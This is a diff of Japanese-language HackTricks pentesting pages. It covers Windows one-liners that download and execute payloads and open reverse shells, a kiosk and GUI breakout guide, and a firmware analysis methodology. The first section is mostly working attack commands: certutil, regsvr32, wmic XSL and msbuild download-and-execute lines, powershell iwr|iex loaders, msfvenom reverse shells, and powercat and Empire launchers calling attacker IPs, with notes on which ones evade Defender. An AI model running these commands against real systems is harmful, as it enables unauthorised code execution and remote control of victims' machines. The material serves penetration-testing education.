@ -259,7 +299,9 @@ var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
</registration>
</scriptlet>
```
#### **Regsvr32 - Metasploit**
```bash
use multi/script/web_delivery
set target 3
@ -268,6 +310,7 @@ set lhost 10.2.0.5
run
#You will be given the command to run in the victim: regsvr32 /s /n /u /i:http://10.2.0.5:8080/82j8mC8JBblt.sct scrobj.dll
```
**Koadicゾンビを非常に簡単にダウンロードして実行できます。ステージャーregsvrを使用します**
## Certutil
@ -275,32 +318,42 @@ run
* [ここから](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
B64dllをダウンロードし、デコードして実行します。
```bash
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll
```
B64exeをダウンロードし、デコードして実行します。
```bash
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe
```
**Defenderによって検出されました**
## **Cscript/Wscript**
```bash
powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://10.2.0.5:8000/reverse_shell.vbs',\"$env:temp\test.vbs\");Start-Process %windir%\system32\cscript.exe \"$env:temp\test.vbs\""
```
**Cscript - Metasploit**
```bash
msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs > shell.vbs
```
**Defenderによって検出されました**
## PS-Bat
```bash
\\webdavserver\folder\batchfile.bat
```
ネットワークコールを実行するプロセス: **svchost.exe**\
ディスクに書き込まれたペイロード: **WebDAVクライアントローカルキャッシュ**
```bash
msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 > shell.bat
impacket-smbserver -smb2support kali `pwd`
@ -309,28 +362,36 @@ impacket-smbserver -smb2support kali `pwd`
```bash
\\10.8.0.3\kali\shell.bat
```
**Defenderによって検出されました**
## **MSIExec**
攻撃者
```
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.2.0.5 lport=1234 -f msi > shell.msi
python -m SimpleHTTPServer 80
```
被害者:
```
victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi
```
**検出されました**
## **Wmic**
* [こちらから](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
```bash
wmic os get /format:"https://webserver/payload.xsl"
```
例のxslファイルは[こちら](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7)からダウンロードできます。
```xml
<?xml version='1.0'?>
<stylesheet xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt" xmlns:user="placeholder" version="1.0">
@ -342,6 +403,7 @@ var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object N
</ms:script>
</stylesheet>
```
**検出されていません**
**ステージャーwmicを使用して、非常に簡単にKoadicゾンビをダウンロードして実行できます**
@ -349,22 +411,28 @@ var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object N
## Msbuild
* [ここから](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
```
cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"
```
You can use this technique to bypass Application Whitelisting and Powershell.exe restrictions. As you will be prompted with a PS shell.\
Just download this and execute it: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj)
```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj
```
**検出されない**
## **CSC**
被害者のマシンでC#コードをコンパイルします。
```
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs
```
以下から基本的なC#リバースシェルをダウンロードできます:[https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc)
**検出されない**
@ -372,9 +440,11 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe s
## **Regasm/Regsvc**
* [こちらから](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
```bash
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll
```
**試していません**
[**https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182**](https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182)
@ -382,9 +452,11 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\fol
## Odbcconf
* [こちらから](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
```bash
odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
```
**試していません**
[**https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2**](https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2)
@ -395,14 +467,18 @@ odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
[https://github.com/samratashok/nishang](https://github.com/samratashok/nishang)
**Shells**フォルダには、さまざまなシェルがあります。**Invoke-_PowerShellTcp.ps1_**をダウンロードして実行するには、スクリプトのコピーを作成し、ファイルの末尾に追加します。
**Shells**フォルダには、さまざまなシェルがあります。**Invoke-**_**PowerShellTcp.ps1**_をダウンロードして実行するには、スクリプトのコピーを作成し、ファイルの末尾に追加します。
```
Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444
```
次の手順に従って、スクリプトをWebサーバーで提供し、被害者の端末で実行します
```
powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex"
```
Defenderはそれを悪意のあるコードとして検出しませんまだ、2019年3月4日
**TODO: 他のnishangシェルをチェックする**
@ -412,14 +488,17 @@ Defenderはそれを悪意のあるコードとして検出しませんまだ
[**https://github.com/besimorhino/powercat**](https://github.com/besimorhino/powercat)
ダウンロードして、Webサーバーを起動し、リスナーを起動し、被害者の端末で実行します
```
powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
```
Defenderはそれを悪意のあるコードとして検出しませんまだ、2019年3月4日
**powercatによって提供される他のオプション:**
バインドシェル、リバースシェルTCP、UDP、DNS、ポートリダイレクト、アップロード/ダウンロード、ペイロードの生成、ファイルの提供...
```
Serve a cmd Shell:
powercat -l -p 443 -e cmd
@ -436,14 +515,17 @@ powercat -c 10.1.1.15 -p 443 -e cmd -g
Start A Persistent Server That Serves a File:
powercat -l -p 443 -i C:\inputfile -rep
```
### Empire
[https://github.com/EmpireProject/Empire](https://github.com/EmpireProject/Empire)
PowerShellランチャーを作成し、ファイルに保存してダウンロードして実行します。
```
powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
```
**悪意のあるコードとして検出**
### MSF-Unicorn
@ -451,19 +533,25 @@ powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c
[https://github.com/trustedsec/unicorn](https://github.com/trustedsec/unicorn)
unicornを使用して、metasploitバックドアのPowerShellバージョンを作成します。
```
python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443
```
```plaintext
作成したリソースを使用してmsfconsoleを起動します
```
```
msfconsole -r unicorn.rc
```
以下は、被害者の端末で実行するために、_powershell\_attack.txt_ ファイルを提供するウェブサーバーを起動します:
```
powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
```
**悪意のあるコードとして検出**
## もっと
@ -480,11 +568,9 @@ WinPWN](https://github.com/SecureThisShit/WinPwn) 一部の攻撃的なPSモジ
* [https://www.hackingarticles.in/get-reverse-shell-via-windows-one-liner/](https://www.hackingarticles.in/get-reverse-shell-via-windows-one-liner/)
* [https://www.hackingarticles.in/koadic-com-command-control-framework/](https://www.hackingarticles.in/koadic-com-command-control-framework/)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
* [https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
**Try Hard Security Group**
* [https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -497,7 +583,7 @@ HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)で**フォロー**する。
* **💬** [**Discordグループ**](https://discord.gg/hRep4RUj7f)**または**[**telegramグループ**](https://t.me/peass)**に参加するか、Twitter 🐦** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**で**フォロー\*\*する。
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、**ハッキングトリックを共有**してください。
</details>

View file

@ -0,0 +1,237 @@
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を使って、ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)を入手する
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦で**@carlospolopm**をフォローする。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する。
</details>
# GUIアプリケーション内の可能なアクションをチェック
**Common Dialogs**は、**ファイルの保存**、**ファイルの開く**、フォントの選択、色の選択などのオプションです。ほとんどの場合、これらのオプションにアクセスできる場合、**完全なエクスプローラ機能が提供**されます。
* 閉じる/閉じるとして
* 開く/開くとして
* 印刷
* エクスポート/インポート
* 検索
* スキャン
次のことをチェックする必要があります:
* ファイルを変更または新規作成できるかどうか
* シンボリックリンクを作成できるか
* 制限された領域にアクセスできるか
* 他のアプリを実行できるか
## コマンド実行
おそらく**`Open with`**オプションを使用して、いくつかの種類のシェルを開いたり実行したりできるかもしれません。
### Windows
たとえば、_cmd.exe、command.com、Powershell/Powershell ISE、mmc.exe、at.exe、taskschd.msc..._ ここでコマンドを実行するために使用できる他のバイナリを見つける:[https://lolbas-project.github.io/](https://lolbas-project.github.io)
### \*NIX __
_bash、sh、zsh..._ ここで詳細を確認:[https://gtfobins.github.io/](https://gtfobins.github.io)
# Windows
## パス制限のバイパス
* **環境変数**:いくつかのパスを指す環境変数がたくさんあります
* **その他のプロトコル**_about:, data:, ftp:, file:, mailto:, news:, res:, telnet:, view-source:_
* **シンボリックリンク**
* **ショートカット**CTRL+N新しいセッションを開く、CTRL+Rコマンドを実行、CTRL+SHIFT+ESCタスクマネージャー、Windows+Eエクスプローラを開く、CTRL-B、CTRL-Iお気に入り、CTRL-H履歴、CTRL-L、CTRL-Oファイル/開くダイアログ、CTRL-P印刷ダイアログ、CTRL-S名前を付けて保存
* 隠し管理メニューCTRL-ALT-F8、CTRL-ESC-F9
* **シェルURI**_shell:Administrative Tools, shell:DocumentsLibrary, shell:Librariesshell:UserProfiles, shell:Personal, shell:SearchHomeFolder, shell:Systemshell:NetworkPlacesFolder, shell:SendTo, shell:UsersProfiles, shell:Common Administrative Tools, shell:MyComputerFolder, shell:InternetFolder_
* **UNCパス**共有フォルダに接続するパス。ローカルマシンのC$に接続してみるべきです("\\\127.0.0.1\c$\Windows\System32"
* **その他のUNCパス:**
| UNC | UNC | UNC |
| ------------------------- | -------------- | -------------------- |
| %ALLUSERSPROFILE% | %APPDATA% | %CommonProgramFiles% |
| %COMMONPROGRAMFILES(x86)% | %COMPUTERNAME% | %COMSPEC% |
| %HOMEDRIVE% | %HOMEPATH% | %LOCALAPPDATA% |
| %LOGONSERVER% | %PATH% | %PATHEXT% |
| %ProgramData% | %ProgramFiles% | %ProgramFiles(x86)% |
| %PROMPT% | %PSModulePath% | %Public% |
| %SYSTEMDRIVE% | %SYSTEMROOT% | %TEMP% |
| %TMP% | %USERDOMAIN% | %USERNAME% |
| %USERPROFILE% | %WINDIR% | |
## バイナリのダウンロード
Console: [https://sourceforge.net/projects/console/](https://sourceforge.net/projects/console/)\
Explorer: [https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/](https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/)\
Registry editor: [https://sourceforge.net/projects/uberregedit/](https://sourceforge.net/projects/uberregedit/)
## ブラウザからファイルシステムにアクセス
| PATH | PATH | PATH | PATH |
| ------------------- | ----------------- | ------------------ | ------------------- |
| File:/C:/windows | File:/C:/windows/ | File:/C:/windows\\ | File:/C:\windows |
| File:/C:\windows\\ | File:/C:\windows/ | File://C:/windows | File://C:/windows/ |
| File://C:/windows\\ | File://C:\windows | File://C:\windows/ | File://C:\windows\\ |
| C:/windows | C:/windows/ | C:/windows\\ | C:\windows |
| C:\windows\\ | C:\windows/ | %WINDIR% | %TMP% |
| %TEMP% | %SYSTEMDRIVE% | %SYSTEMROOT% | %APPDATA% |
| %HOMEDRIVE% | %HOMESHARE | | <p><br></p> |
## ショートカット
* Sticky Keys SHIFTを5回押す
* Mouse Keys SHIFT+ALT+NUMLOCK
* High Contrast SHIFT+ALT+PRINTSCN
* Toggle Keys NUMLOCKを5秒間押し続ける
* Filter Keys 右SHIFTを12秒間押し続ける
* WINDOWS+F1 Windows検索
* WINDOWS+D デスクトップを表示
* WINDOWS+E Windowsエクスプローラを起動
* WINDOWS+R 実行
* WINDOWS+U 利便性センター
* WINDOWS+F 検索
* SHIFT+F10 コンテキストメニュー
* CTRL+SHIFT+ESC タスクマネージャ
* CTRL+ALT+DEL 新しいWindowsバージョンのスプラッシュスクリーン
* F1 ヘルプ F3 検索
* F6 アドレスバー
* F11 Internet Explorer内でのフルスクリーンの切り替え
* CTRL+H Internet Explorerの履歴
* CTRL+T Internet Explorer 新しいタブ
* CTRL+N Internet Explorer 新しいページ
* CTRL+O ファイルを開く
* CTRL+S 保存 CTRL+N 新しいRDP / Citrix
## スワイプ
* 左端から右にスワイプしてすべての開いているウィンドウを表示し、KIOSKアプリを最小化してOS全体に直接アクセスする
* 右端から左にスワイプしてアクションセンターを開き、KIOSKアプリを最小化してOS全体に直接アクセスする
* 上端からスワイプして、フルスクリーンモードで開いているアプリのタイトルバーを表示する
* 下端から上にスワイプして、フルスクリーンアプリでタスクバーを表示する
## Internet Explorerのトリック
### 'Image Toolbar'
画像をクリックすると画像の左上に表示されるツールバー。保存、印刷、メール送信、エクスプローラで「マイピクチャー」を開くなどができます。KioskはInternet Explorerを使用している必要があります。
### シェルプロトコル
これらのURLを入力してエクスプローラビューを取得します
* `shell:Administrative Tools`
* `shell:DocumentsLibrary`
* `shell:Libraries`
* `shell:UserProfiles`
* `shell:Personal`
* `shell:SearchHomeFolder`
* `shell:NetworkPlacesFolder`
* `shell:SendTo`
* `shell:UserProfiles`
* `shell:Common Administrative Tools`
* `shell:MyComputerFolder`
* `shell:InternetFolder`
* `Shell:Profile`
* `Shell:ProgramFiles`
* `Shell:System`
* `Shell:ControlPanelFolder`
* `Shell:Windows`
* `shell:::{21EC2020-3AEA-1069-A2DD-08002B30309D}` --> コントロールパネル
* `shell:::{20D04FE0-3AEA-1069-A2D8-08002B30309D}` --> マイコンピュータ
* `shell:::{{208D2C60-3AEA-1069-A2D7-08002B30309D}}` --> マイネットワークプレイス
* `shell:::{871C5380-42A0-1069-A2EA-08002B30309D}` --> Internet Explorer
## ファイル拡張子の表示
詳細はこちら:[https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml](https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml)
# ブラウザのトリック
iKatのバックアップバージョン
[http://swin.es/k/](http://swin.es/k/)\
[http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)\
JavaScriptを使用して共通のダイアログを作成し、ファイルエクスプローラにアクセスする`document.write('<input/type=file>')`
出典https://medium.com/@Rend_/give-me-a-browser-ill-give-you-a-shell-de19811defa0
# iPad
## ジェスチャーとボタン
* 4本または5本の指で上にスワイプ/ホームボタンを2回タップマルチタスクビューを表示してアプリを切り替える
* 4本または5本の指で片方向にスワイプ次の/前のアプリに切り替える
* 5本の指で画面をつまむ/ホームボタンをタッチ/画面下部から上に素早く1本の指でスワイプホームにアクセス
* 画面下部から1本の指でゆっくり1〜2インチ上にスワイプドックが表示されます
* 画面上部から1本の指で下にスワイプ通知を表示
* 画面の右上隅から1本の指で下にスワイプiPad Proのコントロールセンターを表示
* 画面の左端から1本の指で1〜2インチスワイプ今日のビューを表示
* 画面の中央から右または左に素早く1本の指でスワイプ次の/前のアプリに切り替える
* iPadの右上隅にあるOn/**Off**/Sleepボタンを押し続ける + スライドを右まで移動する:電源を切る
* iPadの右上隅にあるOn/**Off**/Sleepボタンを数秒押し続ける + ホームボタン:強制的に電源を切る
* iPadの右上隅にあるOn/**Off**/Sleepボタンとホームボタンを素早く押す画面左下にポップアップするスクリーンショットを撮る。両方のボタンを同時に非常に短く押すと、数秒間押し続けるかのように、強制的に電源が切れます。
## ショートカット
iPadキーボードまたはUSBキーボードアダプターを持っている必要があります。アプリケーションから脱出するのに役立つショートカットのみがここに表示されます。
| キー | 名前 |
| --- | ------------ |
| ⌘ | Command |
| ⌥ | Option (Alt) |
| ⇧ | Shift |
| ↩ | Return |
| ⇥ | Tab |
| ^ | Control |
| ← | Left Arrow |
| → | Right Arrow |
| ↑ | Up Arrow |
| ↓ | Down Arrow |
### システムショートカット
これらのショートカットは、iPadの視覚設定や音声設定に依存します。
| ショートカット | アクション |
| -------- | ------------------------------------------------------------------------------ |
| F1 | 画面を暗くする |
| F2 | 画面を明るくする |
| F7 | 前の曲に戻る |
| F8 | 再生/一時停止 |
| F9 | 次の曲にスキップ |
| F10 | ミュート |
| F11 | 音量を下げる |
| F12 | 音量を上げる |
| ⌘ Space | 利用可能な言語のリストを表示します。選択するには、再度スペースバーをタップします。 |
### iPadナビゲーション
| ショートカット | アクション |
| -------------------------------------------------- | ------------------------------------------------------- |
| ⌘H | ホームに移動 |
| ⌘⇧H (Command-Shift-H) | ホームに移動 |
| ⌘ (Space) | Spotlightを開く |
| ⌘⇥ (Command-Tab) | 最後に使用した10個のアプリをリスト表示する |
| ⌘\~ | 最後のアプリに移動 |
| ⌘⇧3 (Command-Shift-3) | スクリーンショット(左下にホバーして保存または操作) |
| ⌘

View file

@ -0,0 +1,189 @@
# Firmware Analysis
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬** [**Discordグループ**](https://discord.gg/hRep4RUj7f)**に参加するか、**[**telegramグループ**](https://t.me/peass)**に参加するか、Twitter 🐦で @carlospolopmをフォローする**[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。
</details>
## **導入**
ファームウェアは、デバイスが正しく動作するための不可欠なソフトウェアであり、ハードウェアコンポーネントとユーザーがやり取りするソフトウェアとの間の通信を管理し、容易にします。デバイスが電源を入れた瞬間から重要な命令にアクセスできるように、永続メモリに保存され、オペレーティングシステムの起動につながります。ファームウェアの調査および可能な変更は、セキュリティの脆弱性を特定するための重要なステップです。
## **情報収集**
**情報収集**は、デバイスの構成と使用されているテクノロジーを理解するための重要な初期ステップです。このプロセスには、次のデータの収集が含まれます:
* CPUアーキテクチャと実行されているオペレーティングシステム
* ブートローダーの詳細
* ハードウェアレイアウトとデータシート
* コードベースのメトリクスとソースの場所
* 外部ライブラリとライセンスタイプ
* 更新履歴と規制認証
* アーキテクチャとフローダイアグラム
* セキュリティアセスメントと特定された脆弱性
この目的のために、\*\*オープンソースインテリジェンスOSINT\*\*ツールが非常に有用であり、利用可能なオープンソースソフトウェアコンポーネントの手動および自動レビュープロセスを通じて分析することも重要です。[Coverity Scan](https://scan.coverity.com)や[Semmles LGTM](https://lgtm.com/#explore)などのツールは、潜在的な問題を見つけるために活用できる無料の静的解析を提供しています。
## **ファームウェアの取得**
ファームウェアの取得は、それぞれ異なる複雑さレベルを持つさまざまな手段を通じてアプローチできます:
* **ソースから**(開発者、製造業者)**直接**
* 提供された手順に従って**ビルド**する
* 公式サポートサイトから**ダウンロード**
* ホストされているファームウェアファイルを見つけるための**Googleドーク**クエリを利用する
* [S3Scanner](https://github.com/sa7mon/S3Scanner)などのツールを使用して、**クラウドストレージ**に直接アクセスする
* 中間者攻撃技術を使用して**更新**を傍受する
* **UART**、**JTAG**、または**PICit**などの接続を介してデバイスから**抽出**
* デバイス通信内の更新リクエストを**スニッフィング**
* **ハードコードされた更新エンドポイント**を特定して使用する
* ブートローダーまたはネットワークから**ダンプ**
* 適切なハードウェアツールを使用して、他の手段が失敗した場合に、ストレージチップを**取り外して読み取る**
```bash
file <bin>
strings -n8 <bin>
strings -tx <bin> #print offsets in hex
hexdump -C -n 512 <bin> > hexdump.out
hexdump -C <bin> | head # might find signatures in header
fdisk -lu <bin> #lists a drives partition and filesystems if multiple
```
もしそれらのツールであまり情報が見つからない場合は、`binwalk -E <bin>`で画像の**エントロピー**をチェックしてください。エントロピーが低い場合、暗号化されていない可能性が高いです。エントロピーが高い場合、暗号化されている可能性が高いです(または何らかの方法で圧縮されています)。
さらに、これらのツールを使用してファームウェアに埋め込まれた**ファイルを抽出**することができます:
{% content-ref url="../../generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md" %}
[file-data-carving-recovery-tools.md](../../generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md)
{% endcontent-ref %}
または[**binvis.io**](https://binvis.io/#/) ([code](https://code.google.com/archive/p/binvis/)) を使用してファイルを検査できます。
### ファイルシステムの取得
以前にコメントアウトされた`binwalk -ev <bin>`のようなツールを使用すると、**ファイルシステムを抽出**できるはずです。\
通常、Binwalkは**ファイルシステムの種類と同じ名前のフォルダ**内に抽出します。ファイルシステムの種類は通常、次のいずれかですsquashfs、ubifs、romfs、rootfs、jffs2、yaffs2、cramfs、initramfs。
#### 手動ファイルシステムの抽出
時々、binwalkには**シグネチャにファイルシステムのマジックバイトが含まれていない**ことがあります。そのような場合は、binwalkを使用して**ファイルシステムのオフセットを見つけ、バイナリから圧縮されたファイルシステムを切り出し**、以下の手順に従ってファイルシステムを**手動で抽出**してください。
```
$ binwalk DIR850L_REVB.bin
DECIMAL HEXADECIMAL DESCRIPTION
----------------------------------------------------------------------------- ---
0 0x0 DLOB firmware header, boot partition: """"dev=/dev/mtdblock/1""""
10380 0x288C LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5213748 bytes
1704052 0x1A0074 PackImg section delimiter tag, little endian size: 32256 bytes; big endian size: 8257536 bytes
1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8256900 bytes, 2688 inodes, blocksize: 131072 bytes, created: 2016-07-12 02:28:41
```
以下の**ddコマンド**を実行して、Squashfsファイルシステムを彫刻してください。
```
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
8257536+0 records in
8257536+0 records out
8257536 bytes (8.3 MB, 7.9 MiB) copied, 12.5777 s, 657 kB/s
```
## ファームウェアの解析
ファームウェアを取得したら、その構造と潜在的な脆弱性を理解するために解析することが不可欠です。このプロセスには、ファームウェアイメージから価値あるデータを抽出し、分析するためのさまざまなツールを利用します。
### 初期解析ツール
バイナリファイル(`<bin>`と呼ばれる)の初期検査のために、以下のコマンドセットが提供されています。これらのコマンドは、ファイルタイプの識別、文字列の抽出、バイナリデータの解析、およびパーティションやファイルシステムの詳細の理解に役立ちます。
```bash
file <bin>
strings -n8 <bin>
strings -tx <bin> #prints offsets in hexadecimal
hexdump -C -n 512 <bin> > hexdump.out
hexdump -C <bin> | head #useful for finding signatures in the header
fdisk -lu <bin> #lists partitions and filesystems, if there are multiple
```
画像の暗号化状態を評価するために、**エントロピー**は`binwalk -E <bin>`でチェックされます。低いエントロピーは暗号化の不足を示し、高いエントロピーは暗号化または圧縮の可能性を示します。
**埋め込まれたファイル**を抽出するためには、**file-data-carving-recovery-tools**のドキュメントやファイル検査のための**binvis.io**などのツールやリソースが推奨されます。
### ファイルシステムの抽出
`binwalk -ev <bin>`を使用すると、通常ファイルシステムを抽出でき、ファイルシステムの種類squashfs、ubifsに基づいてディレクトリに抽出されます。ただし、**binwalk**がマジックバイトが不足しているためにファイルシステムの種類を認識できない場合は、手動で抽出する必要があります。これには、`binwalk`を使用してファイルシステムのオフセットを特定し、その後`dd`コマンドを使用してファイルシステムを切り出す作業が含まれます。
```bash
$ binwalk DIR850L_REVB.bin
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
```
### ファイルシステムの解析
ファイルシステムを抽出した後、セキュリティの脆弱性を探す作業が始まります。セキュリティの脆弱性を見つけるために、不安定なネットワークデーモン、ハードコードされた資格情報、APIエンドポイント、更新サーバー機能、未コンパイルのコード、起動スクリプト、オフライン解析用のコンパイルされたバイナリに注意が払われます。
検査すべき**主要な場所**と**アイテム**には次のものがあります:
* ユーザーの資格情報のための**etc/shadow**と**etc/passwd**
* **etc/ssl**内のSSL証明書とキー
* 潜在的な脆弱性のための構成ファイルとスクリプトファイル
* 追加の解析のための埋め込みバイナリ
* 一般的なIoTデバイスのWebサーバーとバイナリ
ファイルシステム内の機密情報や脆弱性を明らかにするのに役立ついくつかのツールがあります:
* 機密情報の検索のための[**LinPEAS**](https://github.com/carlospolop/PEASS-ng)と[**Firmwalker**](https://github.com/craigz28/firmwalker)
* 包括的なファームウェア解析のための[**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT\_core)
* 静的および動的解析のための[**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer)、[**ByteSweep**](https://gitlab.com/bytesweep/bytesweep)、[**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go)、および[**EMBA**](https://github.com/e-m-b-a/emba)
### コンパイルされたバイナリのセキュリティチェック
ファイルシステム内で見つかったソースコードとコンパイルされたバイナリの両方は、脆弱性を検査する必要があります。Unixバイナリ用の**checksec.sh**やWindowsバイナリ用の**PESecurity**などのツールを使用して、悪用される可能性のある保護されていないバイナリを特定するのに役立ちます。
## ダイナミック解析のためのファームウェアのエミュレーション
ファームウェアをエミュレートするプロセスは、デバイスの動作または個々のプログラムの**ダイナミック解析**を可能にします。このアプローチはハードウェアやアーキテクチャの依存関係に関する課題に直面する可能性がありますが、ルートファイルシステムや特定のバイナリを、Raspberry Piなどのアーキテクチャとエンディアンが一致するデバイスや、事前に構築された仮想マシンに転送することで、さらなるテストを容易にすることができます。
### 個々のバイナリのエミュレーション
単一のプログラムを調査するために、プログラムのエンディアンとCPUアーキテクチャを特定することが重要です。
#### MIPSアーキテクチャの例
MIPSアーキテクチャのバイナリをエミュレートするには、次のコマンドを使用できます:
```bash
file ./squashfs-root/bin/busybox
```
そして、必要なエミュレーションツールをインストールします:
```bash
